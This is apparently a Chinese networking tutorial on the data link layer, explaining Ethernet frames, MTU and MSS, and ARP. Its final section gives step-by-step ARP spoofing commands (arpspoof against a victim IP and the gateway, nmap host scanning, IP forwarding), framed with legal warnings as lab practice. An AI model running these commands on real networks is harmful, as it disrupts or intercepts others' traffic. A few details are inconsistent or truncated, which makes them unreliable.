054 数据链路层

054 数据链路层
小米里的大麦数据链路层
1. 对比理解 MAC 地址和 IP 地址
1. 通俗类比:寄快递的两步走
假设你要从北京家里寄一个文件到上海朋友家,整个过程对应两层的分工:
| 层级 | 类比角色 | 负责的环节 |
|---|---|---|
| 数据链路层 | 你家楼下的快递员 | 只负责 “本地最后一公里”:从你手里接过文件(数据),封装成 “本地快递袋”(帧),送到小区门口的 “物流站点”(路由器);不关心文件最终去哪,只认 “你家的门牌号”(MAC 地址)。 |
| 网络层 | 全国物流调度中心 | 负责 “跨区域全局路由”:从物流站点接过快递袋,拆开看 “目的地地址”(IP 地址),规划从北京到上海的路线(比如北京 → 济南 → 南京 → 上海),把快递转到下一个站点,直到送到上海的物流站点;不关心 “最后一公里怎么送”,只管 “跨区域怎么到目标城市”。 |
简言之:
- 数据链路层:管 “邻居间” 的本地传输(比如你家电脑 ↔ 路由器、路由器 ↔ 隔壁路由器)。
- 网络层:管 “跨网络” 的全局路由(比如北京内网 ↔ 上海内网、家里 WiFi↔ 百度服务器)。
2. 关键对比
| 对比维度 | 数据链路层 | 网络层 |
|---|---|---|
| 1. 作用范围 | 本地局域网(LAN):仅覆盖 “直接相连的设备”(如同一 WiFi 下的电脑、手机),无法跨网络通信。 | 跨网络(广域网 WAN / 互联网):覆盖多个局域网,实现 “异地设备” 通信(如北京电脑 ↔ 广州服务器)。 |
| 2. 核心任务 | 1. 把上层数据封装成 “帧”(Frame) 2. 用 MAC 地址 找到 “本地邻居” 3. 检测本地传输的错误(如帧损坏)。 | 1. 把上层数据封装成 “数据包”(Packet) 2. 用 IP 地址 找到 “目标网络” 3. 规划跨网路线(路由选择),转发数据包。 |
| 3. 数据单元 | 帧(Frame):是数据链路层的 “传输单位”,包含 “源 MAC 地址 + 目的 MAC 地址”。 | 数据包(Packet):是网络层的 “传输单位”,包含 “源 IP 地址 + 目的 IP 地址”。 |
| 4. 寻址方式 | MAC 地址(物理地址):固定在网卡上,全球唯一,仅在本地局域网内有效,跨网无效。 | IP 地址(逻辑地址):可动态分配(如家里 WiFi 的 IP),也可固定(如服务器 IP)。跨网唯一,用于定位 “目标网络”。 |
| 5. 关键协议 | 以太网(Ethernet)、WiFi(802.11)、PPP(拨号上网)、ARP(将 IP 转 MAC) | IP(IPv4/IPv6)、ICMP(ping 命令用的协议)、路由协议(RIP/OSPF) |
| 6. 差错处理 | 仅 “本地差错检测”:发现帧损坏就丢弃,不负责修复或重传(重传交给上层如传输层)。 | 仅 “跨网差错报告”:用 ICMP 报告 “数据包丢了”“路由不可达”,不负责修复或重传。 |
3. 一个实战案例:电脑 ping 百度的两层协作
当在电脑上输入 ping www.baidu.com,数据链路层和网络层的分工清晰可见:
- 网络层先干活:
- 电脑先把 “ping 请求” 封装成 IP 数据包,目的 IP 是百度服务器的 IP(比如
180.101.49.12)。 - 电脑问本地路由器:“怎么把这个数据包送到百度?” 路由器用路由协议查 “路线表”,确定下一个转发节点(比如运营商的网关)。
- 电脑先把 “ping 请求” 封装成 IP 数据包,目的 IP 是百度服务器的 IP(比如
- 数据链路层再封装:
- 电脑把 “IP 数据包” 再封装成 以太网帧,目的 MAC 地址是 “本地路由器的 MAC 地址”(不是百度的 MAC!因为 MAC 只在本地有效)。
- 帧通过 WiFi / 网线传到路由器,路由器拆开帧,取出里面的 IP 数据包,再给这个数据包套上 “新的帧”(目的 MAC 是下一个网关的 MAC),继续转发。
- 到百度服务器后反向操作:
- 百度的路由器收到数据包,拆帧取包,再用 “百度服务器的 MAC” 封装成帧,送到百度服务器。
- 百度服务器返回 “ping 响应”,重复上述过程,最终回到你的电脑。
2. 认识以太网
- IP 层:决定“送给谁”,类似“写信的收件人地址”;
- 以太网层(链路层):决定“信封怎么送到下一个邮局(下一跳)”;
- ARP 协议:负责查“邮递员的住址(MAC)”;
- 路由器:相当于中转邮局,负责转运到不同地区。
1. 以太网是什么?
以太网的本质:局域网(LAN)的“物理 + 数据链路”实现。它只负责“一跳”通信 —— 即从当前主机到下一跳(通常是网关或目标主机),不关心跨网、路由、可靠性。
以太网(Ethernet)是目前最常用的 局域网通信技术,它解决 同一局域网内 多台主机之间的 点对点或广播通信。它定义了:
- 物理层:用什么电缆/光纤/网卡等连接主机。
- 数据链路层:如何封装、发送、识别、接收帧。
- 寻址机制:用 MAC 地址(48 位,每个网卡的唯一标识)来区分不同主机。
2. 以太网通信的核心原理
以太网采用的基本通信方式是:广播 + 识别 + 过滤。
发送过程: 主机 A 想发数据给主机 B(同网段),A 封装以太网帧:目的 MAC = B 的 MAC,源 MAC = A 的 MAC,将帧广播到整个局域网(通过交换机或集线器)。
接收过程:局域网内 所有主机都收到该帧,每台主机检查目的 MAC:
匹配自己 → 去掉以太网头,将 payload(如 IP 包)交给上层。
不匹配 → 直接丢弃(不向上交付)。
这就是之前说的:在局域网中,每个主机都能看到所有帧,但只会“认领”发给自己的那部分。
交换机的作用:学习 MAC 地址表,只转发帧到目标端口(不是广播),减少冲突和带宽浪费。
3. 路由器在以太网通信中的作用
以太网通信范围是一个局域网(即一个广播域),不同网段之间 的通信必须经过路由器。当主机 A 发现目标 IP 不在本地网段时,它会:
1 | 查路由表 → 发现下一跳是默认网关(路由器)→ 使用 ARP 找到网关的 MAC 地址 → 将帧发给网关 → 路由器接收后,剥去旧帧头,重新封装成新帧(目标是下一跳或目标主机) |
所以每跨一个路由器,就意味着一次“去掉旧帧头 + 加上新帧头”的过程。那么以太网又是如何与 IP 协作的呢?—— 封装与解封装:
- 发送端(主机 A): 应用数据 → TCP/UDP 封装(加端口号) → IP 封装(加源/目的 IP) → 以太网封装(加源/目的 MAC) → 发送。
- 转发中(路由器): 收到帧 → 去掉以太网头 → 查 IP 目的地址 → 查路由表 → 重新封装新以太网头(下一跳的 MAC) → 转发。
注意:IP 地址全程不变(端到端)、MAC 地址每跳都变(只用于本地链路)。
4. 如何找到目标 MAC —— ARP 协议(后文详解)
问题来了:主机 A 想发给主机 B,它只知道 B 的 IP 地址,却不知道 B 的 MAC 地址,怎么办?答案是 —— 使用 ARP 协议(Address Resolution Protocol)。
- A 先在局域网中广播一个 ARP 请求帧:“谁是 IP = 192.168.1.10?请告诉我你的 MAC!”
- B 收到后发现 IP 匹配,于是单播回应:“我的 MAC 地址是 xx:xx:xx:xx:xx: xx。”
- A 收到后就缓存这个映射关系(写入 ARP 缓存表),之后发送数据帧时就不用再广播了。
3. 以太网帧格式/结构
1. 以太网帧格式
一个标准的以太网帧结构如下:
| 字段 | 长度(字节) | 作用 |
|---|---|---|
| 目标 MAC 地址 | 6 | 标识接收方设备(帧要发给谁) |
| 源 MAC 地址 | 6 | 标识发送方设备(谁发的) |
| 类型字段 | 2 | 指明上层协议(如 0x0800 = IPv4,0x86DD = IPv6,0x0806 = ARP,现已基本被 DHCP 取代,极少在现代网络中使用:0x8035 = RARP) |
| 数据载荷 | 46~1500 | 实际承载的上层数据(通常是 IP 报文) |
| FCS(帧校验序列) | 4 | CRC32 校验,检查传输过程中是否出错 |
特点:
- 帧头固定 14 字节(6 + 6 + 2)。
- 帧尾固定 4 字节(CRC)。
- 有效载荷部分可变,最小 46 字节,最大 1500 字节。
- 类型字段(Type) 是关键:用于区分上层协议。
- 最小帧 64 字节(含头尾)→ 数据不足 46 字节时会填充。
- 最大帧 1518 字节 → 对应 IP 层 MTU = 1500 。
注意:MAC 地址 是硬件层面的标识,和 IP 地址完全不同,工作范围只限于局域网。对比理解 MAC 地址和 IP 地址:
- IP 地址描述的是路途总体的起点和终点。
- MAC 地址描述的是路途上的每一个区间的起点和终点。
2. MAC 帧的分离原理(如何提取报头和有效载荷)
MAC 帧的报头和帧尾长度是固定的,所以“定长分离”即可取出有效载荷。只要看类型字段,就能知道“有效载荷”该交给哪个上层协议。
因为以太网帧的 帧头和帧尾长度固定,所以在接收端处理非常简单:
- 底层网卡驱动 收到原始比特流;
- 按帧结构解析出:前 14 字节 → 报头(含源 MAC、目的 MAC、类型字段),后 4 字节 → CRC 校验码,中间部分 → 有效载荷(上层协议的数据)。
- CRC 校验:验证数据是否出错,失败则丢弃,不交付上层。
3. 流程示例(主机 A → 主机 B)
假设主机 A 想把一个 IP 数据报发给同一局域网的主机 B。
1. 主机 A 封装帧
- 目的 MAC 地址:主机 B 的 MAC。
- 源 MAC 地址:主机 A 的 MAC。
- 类型字段:
0x0800(表示上层协议是 IPv4)。 - 有效载荷:要发送的 IP 数据报。
- CRC 校验码:通过多项式算法生成,用于校验错误。
- 封装完毕后发入局域网(广播介质)。
2. 局域网中每台主机都能收到这个帧
包括主机 A 自己、主机 B、以及其他主机,每台主机都会提取出 目的 MAC 地址,比对自己的 MAC 地址:
- 如果匹配: 说明是发给自己的,继续向上交付。
- 如果不匹配: 说明不是给自己的,直接丢弃。
3. 主机 B 处理 MAC 帧
主机 B 收到后执行以下步骤:
- CRC 校验通过。
- 目的 MAC 地址匹配自己。
- 读取 类型字段(0x0800),得知上层协议是 IP。
- 将“有效载荷部分”交给上层 IP 协议模块。
- 上层 IP 模块再进一步解析 IP 头、转发或交付给 TCP/UDP。
MAC 帧是局域网的信封,IP 数据报是信件内容,信封上写了寄信人(源 MAC)、收信人(目的 MAC)和信件类型(Type),收到后,只要信封写的是你、信件没损坏,就会把信交给正确的部门(上层协议)。
4. 认识 MTU
1. 什么是 MTU?
MTU(最大传输单元):指数据链路层一次能够承载的最大数据负载长度(单位:字节),不包括以太网帧头与帧尾。
也就是说,MTU 限制了 IP 层单次发送的数据量上限,如果上层交给 IP 的数据长度超过 MTU,IP 层就必须分片。
2. MTU 对 IP 协议的影响
IP 层负责把上层传来的数据封装成 IP 数据报,如果要发送的数据 > MTU,则需要 分片,分片机制:
示例:假设 MTU = 1500,IP 头 = 20 字节,则有效载荷最大 = 1480。如果上层传 4000 字节,则会被拆分成:
1 | [第1片] 1480字节(MF=1) |
接收方 IP 层 根据“标识 + 偏移”重组原始数据报。如果任意一个分片丢失,整个 IP 数据报重组失败 → 上层必须重传。
3. MTU 对 UDP 协议的影响
UDP 没有重传机制,因此:若 UDP 报文长度 > MTU → IP 分片,任意一个分片丢失 → 整体 UDP 报文丢失,UDP 没有超时重传机制,只能上层应用感知丢包。因此 UDP 应尽量避免触发 IP 分片,推荐单包负载 ≤ 1472 字节(= 1500 − 20 − 8)。
4. MTU 对 TCP 协议的影响
TCP 有重传机制,但分片仍会带来性能损耗。 因此 TCP 使用 MSS(最大分段大小) 控制单次发送量。MSS 与 MTU 的关系:
1 | MSS = MTU - IP头长度 - TCP头长度 |
TCP 在三次握手阶段交换 MSS:
1 | SYN 报文: |
双方协商后取较小值作为实际 MSS,这样 TCP 可以 避免触发 IP 分片,直接分段发送。
5. Linux 中查看硬件地址与 MTU
1 | ifconfig |
输出示例:
说明:
mtu 1500→ 当前接口最大传输单元为 1500 字节。link/ether→ 后面即是物理 MAC 地址。
5. ARP 协议
1. ARP 协议的作用
1. ARP 的使命
在同一个局域网内,通过目标 IP 地址,动态查询并获取其对应的 MAC 地址。
在同一个局域网(LAN)中进行通信时:数据链路层负责 以太网帧 的传输,但以太网通信依赖的是 MAC 地址(硬件地址),而不是 IP 地址,实际上,我们在上层通信时通常只知道对方的 IP 地址(例如 192.168.1.2)。所以,问题来了:已知对方 IP 地址,如何得到对应的 MAC 地址?这正是 ARP(地址解析协议) 的核心作用。
2. ARP 协议定位与特性
- 所在层次: TCP/IP 四层模型的 数据链路层。
- 与 MAC 帧关系: 属于 MAC 帧的上层协议(即 MAC 封装 ARP)。
- 主要功能: 实现 IP 地址 → MAC 地址 的映射。
- 仅限本地子网:不能跨路由器(ARP 请求不会被路由器转发)。
- 无连接、无确认:广播请求 + 单播应答,不保证可靠(靠重试)。
- 缓存机制:避免频繁广播(
arp -a可查看)。
类比: IP 地址 = 收件人姓名,MAC 地址 = 收件人门牌号,ARP = 在小区公告栏喊:“张三住哪栋哪户?”。
2. ARP 报文格式(重点)
ARP 报文并不是独立存在的,它是封装在以太网帧中的。下面是 ARP 数据包格式(共 28 字节):
| 字段名称 | 长度(字节) | 含义说明 |
|---|---|---|
| 硬件类型(Hardware Type) | 2 字节 | 表示链路层类型。以太网为 1 |
| 协议类型(Protocol Type) | 2 字节 | 表示要解析的协议类型。IPv4 为 0x0800 |
| 硬件地址长度(HLEN) | 1 字节 | MAC 地址长度(以太网中为 6 字节) |
| 协议地址长度(PLEN) | 1 字节 | IP 地址长度(IPv4 中为 4 字节) |
| 操作码(Op Code) | 2 字节 | 1 = 请求,2 = 应答 |
| 发送端 MAC 地址 | 6 字节 | 发起 ARP 的主机 MAC 地址 |
| 发送端 IP 地址 | 4 字节 | 发起 ARP 的主机 IP 地址 |
| 目标 MAC 地址 | 6 字节 | 目标主机的 MAC 地址(请求时未知,全 1) |
| 目标 IP 地址 | 4 字节 | 目标主机的 IP 地址(要解析的 IP) |
注意:帧类型:0x0806(在以太网头部指定),最小长度限制:ARP 报文只有 28 字节,不足以太网帧最小 46 字节,因此需要 补 18 字节填充位。这说明 ARP 是“位于 MAC 帧上层的链路层协议”,而不是网络层。
1. 为什么 ARP 报头里还要 MAC 和 IP?
- 协议独立性:ARP 设计为通用协议,可支持非以太网。
- 上下层解耦:MAC 帧只负责传输,ARP 负责逻辑解析,二者不共享字段。
3. ARP 工作流程(核心机制)
在 ARP 过程中,收到的任何 ARP 报文,都是先看操作码(Op Code)!!!
- Op Code 值为 1 表示 ARP 请求(ARP Request)。
- Op Code 值为 2 表示 ARP 应答(ARP Reply)。
当主机收到一个 ARP 报文时,首先看这个字段,它决定了接下来主机要干什么:
- 如果是
1(请求):说明对方在问「谁是这个 IP?」→ 如果该 IP 是我自己,就要 回一个应答包 告诉对方我的 MAC 地址。- 如果是
2(应答):说明对方在告诉我「这个 IP 的 MAC 是我」 → 我就要 更新或新增我的 ARP 缓存表。所以 Op Code 决定了这个包是请求还是应答,也决定了主机下一步行为。
1. ARP 请求(Request)
主机 A 想知道主机 B 的 MAC 地址,但只知道其 IP 地址。这时需要构建 ARP 请求:
| 字段 | 内容 |
|---|---|
| 硬件类型 | 1(以太网) |
| 协议类型 | 0x0800(IPv4) |
| 硬件地址长度 | 6 |
| 协议地址长度 | 4 |
| 操作码 | 1(ARP 请求) |
| 发送端 MAC/IP | 路由器 D 的 MAC/IP |
| 目标 MAC | 全 1(二进制,全 F)表示广播 |
| 目标 IP | 主机 B 的 IP |
- 发送过程: ARP 请求封装进以太网帧:以太网 目的地址:
FF:FF:FF:FF:FF:FF(广播),以太网 源地址:A 的 MAC 地址,帧类型:0x0806,然后广播发送到整个局域网。 - 各主机的处理: 每台主机都能收到该广播帧,所有主机的 MAC 层识别帧类型为
0x0806→ 上交给 ARP 层,各主机比对 目的 IP 是否与自己相符:- 若 不匹配 → 在 ARP 层丢弃。
- 若 匹配 → 生成 ARP 应答。
2. ARP 应答(Reply)
主机 B 收到 ARP 请求,发现目的 IP 是自己的 IP,于是要回复,构建 ARP 应答:
| 字段 | 内容 |
|---|---|
| 硬件类型 | 1 |
| 协议类型 | 0x0800 |
| 硬件地址长度 | 6 |
| 协议地址长度 | 4 |
| 操作码 | 2(ARP 应答) |
| 发送端 MAC/IP | 主机 B 的 MAC/IP |
| 目标 MAC/IP | 路由器 D 的 MAC/IP(请求中带有) |
- 发送过程: ARP 应答封装成以太网帧:以太网 目的地址:D 的 MAC 地址(单播),以太网 源地址:B 的 MAC 地址,帧类型:
0x0806 - 接收与更新: A 收到该帧,交给 ARP 层,ARP 层识别为应答包(op = 2),从中提取 B 的 MAC 地址,更新 ARP 缓存表(IP ↔ MAC 映射)。
4. ARP 缓存表(ARP Cache)
主机的 MAC 地址和 IP 地址,会被主机临时缓存起来,即在本地维护一张 ARP 表(ARP Cache),它的作用是:避免每次都广播请求,可以通过命令查看:
arp -a。
ARP 只有在缓存失效的时候才会进行: ARP 缓存表中的每一条记录都有 生命周期(一般 60~120 秒),在这段时间内主机会直接使用,不会重新发 ARP 请求。过期后再使用该 IP 通信时,才会重新广播询问。
可以“扫描网段”来获取所有主机的 MAC 地址: 在同一个局域网内,我们知道:本机的 IP,例如 192.168.1.10,子网掩码:255.255.255.0 → 网络号:192.168.1.0/24,那就可以从 192.168.1.1 到 192.168.1.254 依次 ping。每 ping 一个地址,系统都会自动触发一次 ARP 查询。 查询结果(IP-MAC 映射)就会缓存在本机 ARP 表中。工具命令:
1
2
3
4
5
6arp -n # 查看本机 ARP 缓存
# 或者使用 nmap 自动扫描局域网主机
sudo apt install nmap
sudo apt install -y nmap
sudo nmap -sn 192.168.1.0/24若收到多次同样的 ARP 应答,以最新为准: ARP 缓存表是动态维护的,新的应答会覆盖旧的记录,这正是 ARP 欺骗能攻击的原因之一!攻击者伪造应答包欺骗网关,篡改缓存表,从而劫持流量。
5. 为什么不直接用广播通信?
理论上确实可以直接广播发数据帧(IP 层再判断是否是给自己的),但这会带来:
- 大量无关主机都要交给内核处理(浪费 CPU/内存资源)。
- 破坏单播/广播的语义。
- 极大降低局域网效率(广播风暴)。
所以我们必须依赖 ARP,在底层就精确确定目标 MAC。
6. ARP 欺骗
以下操作 仅限授权测试(如自己搭建的实验环境),在他人网络中实施 ARP 欺骗属于 违法行为(违反《网络安全法》)。
1. 推荐工具:arpspoof(来自 dsniff 套件)
Centos 7.6 中安装:
1 | sudo yum install -y epel-release # 启用 EPEL 仓库(多数网络工具在 EPEL) |
Ubuntu 22.04 中安装:
1 | sudo apt update # 更新包索引(可选但推荐) |
2. arpspoof 命令参数含义(不是固定的,必须根据目标改!)
命令格式:
1 | sudo arpspoof -i <网卡名> -t <目标主机IP> <欺骗对象IP> |
各参数解释:
| 参数 | 说明 | 必须改吗? |
|---|---|---|
-i eth0 | 你当前联网的网卡(可能是 wlan0、ens33 等) | 必须改成你自己的网卡 |
-t 192.168.1.100 | 你要欺骗的那台主机的 IP(受害者) | 必须指定目标 |
192.168.1.1 | 你冒充的对象的 IP(通常是网关) | 必须指定冒充谁 |
为什么需要两个 IP?
因为 ARP 欺骗的本质是:“让 A 相信 B 的 MAC 地址是我(攻击者)的”,所以你需要告诉arpspoof:
- 谁被骗? →
-t 192.168.1.100(目标主机)。- 冒充谁? →
192.168.1.1(通常是网关)。
3. ARP 欺骗
[[网络科普] 一个视频看懂 ARP 与 ARP 攻击 | B 站](https://www.bilibili.com/video/BV1MSKfz1ExS/?share_source = copy_web&vd_source = 872e5e3ccf44874c39edaf42e30ab0de)
⚠️ 重要法律与道德声明 ⚠️
本指南仅用于 网络安全学习、实验环境搭建及授权渗透测试。
在 未经授权 的情况下,对他人网络、设备或服务实施 ARP 欺骗、流量劫持、数据嗅探等行为,属于 严重违法行为,违反《中华人民共和国网络安全法》、《刑法》第 285 条(非法侵入计算机信息系统罪)及第 286 条(破坏计算机信息系统罪)。
请务必在以下场景中使用本指南:
- 自己搭建的虚拟机环境(如 VirtualBox/VMware)
- 经过明确书面授权的渗透测试项目
- 教学机构提供的实验平台
禁止在公共网络、公司内网、云服务器或任何非授权环境中进行此类操作。
学习安全技术的目的是为了更好地保护网络,而非攻击。请遵守法律法规,做一名负责任的安全从业者。
前提条件:设备需要处于同一个子网下,如:同一 WiFi、热点等。云服务器存在限制,大概率是不行的。效果:目标主机断网。
- 查自己的网卡名和网关(只需做一次):
1 | ip a # 看网卡名(如 eth0、ens33、wlan0) |
- 如果不知道目标 IP,就用 nmap 扫描同网段找活跃主机(可选):
1 | nmap -sn 192.31.0.0/20 # 把 192.31.0.0/20 换成你的真实子网,从结果里选一个目标 IP,不想计算可以直接选择 ip a 的结果,或者使用其他工具进行计算 |
- 开启 IP 转发(让流量经过你再转发出去):
1 | echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward |
- 发起 ARP 欺骗:
1 | sudo arpspoof -i 网卡名 -t 目标IP 网关IP |
- 在目标机上进行验证:
1 | arp -a | grep 网关IP |
- 停止攻击并恢复网络:
1 | # 1. 停止 arpspoof (按 Ctrl+C) |
在 kali 中感觉会容易一点:注意虚拟机中要把网络适配器改成 NAT 模式 或者 桥接模式(勾选复制物理网络连接状态) 直连真实的物理网络。
- 先切换到 root,执行:
ifconfig拿到 IP,用route -n拿到网关(”default” 或 “0.0.0.0” 行对应的就是默认网关,或者看 Flags 项:UG标志中的G表示这是一个网关)。- 用
fping -g 自己的 IP或者nmap -sn 自己的IP找到当前局域网下所有活跃、活着的 IP(alive)。- 开启 IP 转发(让流量能经 Kali 转发):
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward。- 开始攻击:
arpspoof -i 网卡名 -t 目标IP 要冒充的IP/网关IP,比如:arpspoof -i eth0 -t 192.168.72.130 192.168.72.2。- 停止攻击:
echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward。


















